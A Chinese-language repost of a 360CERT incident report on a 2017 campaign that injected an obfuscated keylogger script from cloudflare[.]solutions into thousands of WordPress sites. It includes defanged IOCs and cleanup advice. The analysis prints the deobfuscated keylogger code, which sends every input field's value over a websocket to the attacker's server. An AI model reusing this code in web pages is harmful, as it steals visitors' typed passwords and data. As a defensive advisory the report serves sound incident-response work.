热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

360CERT:WordpressKeylogger事件报告

 0x00 事件背景Catalin Cimpanu发现几起针对WordPress站点的攻击,主要通过加载恶意脚本进行键盘记录,挖矿或者挂载广告。并且有证据表明,这种攻击从4月份活跃至今。360CERT

 

0x00 事件背景

Catalin Cimpanu发现几起针对WordPress站点的攻击,主要通过加载恶意脚本进行键盘记录,挖矿或者挂载广告。并且有证据表明,这种攻击从4月份活跃至今。360CERT对该事件十分关注。

 

0x01 事件描述

起因是WordPress被注入了一个混淆的js脚本,从主题的function.php文件进行植入。加载的js脚本地址为:



其中reconnecting-websocket.js用作websocket通信,cors.js中包含后门。Cors.js更改前端页面,释放Javascript脚本进行输入监听,之后将数据发送给攻击者(wss://cloudflare[.]solutions:8085/)。

enter image description here

enter image description here

 

0x02攻击脚本分析

enter image description here

用户WordPress首页底部有两个JS,第一个用来做websocket通信。后门核心文件http://cloudflare[.]solutions/ajax/libs/cors/cors.js。其中cors.js有混淆,简单处理后得到攻击脚本:

enter image description here

攻击脚本会首先调用linter(),其中有对linterkey1,linterkey2的解码。

https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js?657[.............................]

中,域名cdnjs.cloudflare.com是不存在的,根据代码逻辑,有用的部分应为?后的内容:

enter image description here

解密出:

enter image description here

function process_event(event) {
var result = JSON.stringify({key:event.target.value , element: event.target.id});
socket.send(result);
}
var i_fields = document.getElementsByTagName('input');
for(var i=0; i i_fields[i].addEventListener('blur',process_event);
}

逻辑很好理解,监听blur 事件(输入框失去焦点) 通过websocket发送用户input内容。

enter image description here

最后,窗口加载后执行addyandexmetrix()。该函数是一个类似cnzz,做访问统计的js,具体用法:

https://yandex.com/support/metrica/code/counter-initialize.xml

 

0x03 攻击影响

查看cloudflare[.]solutions DNS请求记录:

enter image description here

可以看到,在6月份有一个峰值。并且在近期,攻击趋势陡然上升。以下是今天,截至写稿时的请求记录:

enter image description here

可以看到,今天时,该攻击已经激化。

对页面进行检索,发现全球有近五千多站点被感染:

enter image description here

以下受感染的部分域名:

enter image description here

 

0x04 缓解措施

查看页面源代码中是否有向cloudflare[.]solutions的JS请求,通过这种方法进行自检。

enter image description here

恶意的JS是通过WordPress主题的function.php文件进行植入。请立即删除文件中,页面渲染恶意JS的部分。此时,密码很有可能已经被偷取,请及时更改密码。

 

0x05 IOCs

资源请求:

hxxp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js

hxxp://cloudflare[.]solutions/ajax/libs/cors/cors.js

数据接收:

wss://cloudflare[.]solutions:8085/

 

0x06 时间线

2017年12月7日 Catalin Cimpanu事件披露

2017年12月8日 360CERT及时跟进,发布预警

 

0x07 参考

https://www.bleepingcomputer.com/news/security/keylogger-found-on-nearly-5-500-infected-wordpress-sites/


推荐阅读
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • 一次上线事故,30岁+的程序员踩坑经验之谈
    本文主要介绍了一位30岁+的程序员在一次上线事故中踩坑的经验之谈。文章提到了在双十一活动期间,作为一个在线医疗项目,他们进行了优惠折扣活动的升级改造。然而,在上线前的最后一天,由于大量数据请求,导致部分接口出现问题。作者通过部署两台opentsdb来解决问题,但读数据的opentsdb仍然经常假死。作者只能查询最近24小时的数据。这次事故给他带来了很多教训和经验。 ... [详细]
author-avatar
路人
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有